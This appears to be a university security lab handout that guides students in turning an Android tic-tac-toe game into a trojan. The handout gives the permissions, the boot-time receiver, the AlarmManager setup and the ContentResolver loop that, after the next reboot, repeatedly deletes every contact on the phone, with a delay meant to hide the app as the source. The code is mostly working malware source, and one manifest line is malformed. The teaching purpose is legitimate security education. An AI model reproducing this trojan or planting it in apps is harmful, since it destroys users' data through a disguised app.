TicTacToe Malware

Abstract—A malicious tic tac toe game that delete the users contact list when the user boots up the phone next time.

I. Introduction

The Trojan runs as a background service on the phone and periodically deletes contact list every few minutes. In order to disconnect the link between the app being the source of the Trojan, it only runs after the next boot.

II. Lab Activity

Dowload TicTacToe.zip, unzip it in your workspace, and import it into your Eclipse IDE. This is a simple game, and now you will place some malware in it.

Add two java classes to the project StartAttack and RunTrojan.

```
public class StartAttack extends BroadcastReceiver {…}
public class RunTrojan extends BroadcastReceiver{…}
```

For information on BroadcastReceiver, refer to: http://developer.android.com/reference/android/content/BroadcastReceiver.html

Add these permissions in AndroidManifest.xml:

```
<uses-permission
android:name="android.permission.READ_CONTACTS" />
<uses-permission
android:name="android.permission.WRITE_CONTACTS" />
<uses-permission
android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
```

READ/WRITE_CONTACTS is for accessing and changing the contact info on the phone; RECEIVE_BOOT_COMPLETED is for when the phone starts up, which is when I wanted the attack to begin.

I also need a BOOT_COMPLETED intent-filter to fire when the device first starts up and have it call the receiver that sets up the attack. I also register another receiver for running the service periodically (so it never quits), and the service for performing the attack.

```
<receiver android:name=".StartAttack" >
<intent-filter>
            <action
android:name="android.intent.action.BOOT_COMPLETED" />
      </intent-filter>
</receiver>
<receiver android:name=".RunTrojan" /receiver>
```

In StartAttack.java, which is the class called when the next boot happens so long as the app is installed, set up a periodic alarm that activates the RunTrojan class:

```
AlarmManager service =
(AlarmManager)context.getSystemService(Context.ALARM_SERVICE);
Intent i = new Intent(context, RunTrojan.class);
PendingIntent pending = PendingIntent.getBroadcast(context, 0, i,
PendingIntent.FLAG_CANCEL_CURRENT);
service.setInexactRepeating(AlarmManager.RTC_WAKEUP,cal.getTimeI
nMillis(), TIME, pending);
```

For information on AlarmManager, refer to: http://www.open-open.com/lib/view/open1350291466977.html

AlarmManager sets up Alarm Service, which is something that periodically “wakes up” the phone when it needs to do something after it’s gone into sleep mode. Also call PendingIntent, which is an intent that works off the alarm when it fires to call a broadcast receiver. Finally, call setInexactRepeating, which fires the intent periodically until the AlarmManager service is killed.

The RunTrojan class captures the repeating intent to fire our Trojan class, and deletes the contact list:

```
ContentResolver contentResolver = getContentResolver();
Cursor cursor =
contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null,
null, null, null);
while (cursor.moveToNext()) {
String lookupKey =
cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOO
KUP_KEY));
Uri uri =
Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_LOOKUP
_URI, lookupKey);
contentResolver.delete(uri, null, null);
}
```

The user runs the TicTacToe game once. After restarting the phone, the contacts are still there if you go to them immediately, but the service always waits a couple minutes before it strikes. A few minutes after restarting phone, if you’re watching the contacts page on the phone they will all vanish instantly. To make sure the attack keeps happening, set up a couple more contacts. After a few more minutes they disappear again.

III. Report

Please include step-by-step screenshots in the lab report, with your name in English as the message text.